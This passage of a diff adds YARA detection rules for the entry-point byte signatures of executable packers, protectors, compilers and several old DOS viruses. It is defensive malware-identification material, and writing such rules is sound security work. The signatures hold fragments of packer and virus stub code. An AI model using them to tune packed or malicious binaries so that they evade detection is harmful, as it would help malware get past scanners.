+}
+rule _RLPack_V119_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_v102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v20_
+{
+	meta:
+		description = "PEtite v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03_Eng__cyberbob_
+{
+	meta:
+		description = "PESpin v0.3 (Eng) -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Code-Lock] --> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190a_
+{
+	meta:
+		description = "Armadillo v1.90a"
+	strings:
+		$0 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200c_
+{
+	meta:
+		description = "PKLITE v2.00c"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _ICrypt_10__by_BuGGz_
+{
+	meta:
+		description = "ICrypt 1.0 - by BuGGz"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Password_Protector_v10_
+{
+	meta:
+		description = "Special EXE Password Protector v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_20__Vaska_
+{
+	meta:
+		description = "RCryptor 2.0 -> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V2X__LiuXingPing_
+{
+	meta:
+		description = "NsPack V2.X -> LiuXingPing"
+	strings:
+		$0 = {6E 73 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _ARM_Protector_v01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+	condition:
+		$0
+}
+rule _PEtite_v21_
+{
+	meta:
+		description = "PEtite v2.1"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15_Private__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 (Private) --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _E_language_
+{
+	meta:
+		description = "E language"
+	strings:
+		$0 = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Caz1204_
+{
+	meta:
+		description = "Vx: Caz.1204"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_Demo_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 Demo-> FEUERRADER"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UG2002_Cruncher_v03b3_
+{
+	meta:
+		description = "UG2002 Cruncher v0.3b3"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_031032__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 031/032) -> GlOFF"
+	strings:
+		$0 = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cppx_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v021_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.21 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V101__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.01 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Uddy2617_
+{
+	meta:
+		description = "Vx: Uddy.2617"
+	strings:
+		$0 = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v33_
+{
+	meta:
+		description = "Shrinker v3.3"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Noon1163_
+{
+	meta:
+		description = "Vx: Noon.1163"
+	strings:
+		$0 = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v1304__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.304 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_3x_
+{
+	meta:
+		description = "MinGW GCC 3.x"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 -> bart^CrackPl"
+	strings:
+		$0 = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v250_
+{
+	meta:
+		description = "Armadillo v2.50"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_1214_SE_DLL__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2/1.4 SE DLL -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Splash_Bitmap_v100__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 --> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_133__21_Registered__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_1_
+{
+	meta:
+		description = "PKLITE v1.50 (1)"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12DLLDemo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.DLL.Demo -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+	condition:
+		$0
+}
+rule _HACKSTOP_v100_
+{
+	meta:
+		description = "HACKSTOP v1.00"
+	strings:
+		$0 = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V22X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.2X -> softcomplete.com"
+	strings:
+		$0 = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+	condition:
+		$0
+}
+rule _QrYPt0r__by_NuTraL_
+{
+	meta:
+		description = "QrYPt0r - by NuTraL"
+	strings:
+		$0 = {80 F9 00 0F 84 8D 01 00 00 8A C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 C1 3C F3 75 89 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BA D9 04 00 00 E8 00 00 00 00 5F 81 C7 16 01 00 00 80 2C 3A 01}
+		$1 = {86 18 CC 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 BB 00 00 F7 BF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 78 56 34 12 87 03 E8 CD FE FF FF E8 B3}
+		$2 = {EB 00 E8 B5 00 00 00 E9 2E 01 00 00 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 8B 44 24 04}
+	condition:
+		$0 or $1 or $2 at entrypoint
+}
+rule _FreeJoiner_152_Stub_engine_16__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF"
+	strings:
+		$0 = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [XCR 0.11] --> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v11b_
+{
+	meta:
+		description = ".BJFnt v1.1b"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeBASIC_016b_
+{
+	meta:
+		description = "FreeBASIC 0.16b"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v100_Eng__bartxt_
+{
+	meta:
+		description = "DEF v1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Patch__Dwing_
+{
+	meta:
+		description = "Upack_Patch -> Dwing"
+	strings:
+		$0 = {81 3A 00 00 00 02 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v2xx_CopyMem_II_
+{
+	meta:
+		description = "Armadillo v2.xx (CopyMem II)"
+	strings:
+		$0 = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h2_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1332__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha_
+{
+	meta:
+		description = "PCPEC [alpha]"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_ASPack_211d__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake ASPack 2.11d) -> emadicius"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V23__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _PEArmor_07600765__hying_
+{
+	meta:
+		description = "PE-Armor 0.760-0.765 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+	condition:
+		$0
+}
+rule _SoftWrap_
+{
+	meta:
+		description = "SoftWrap"
+	strings:
+		$0 = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v20__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 --> Vaska"
+	strings:
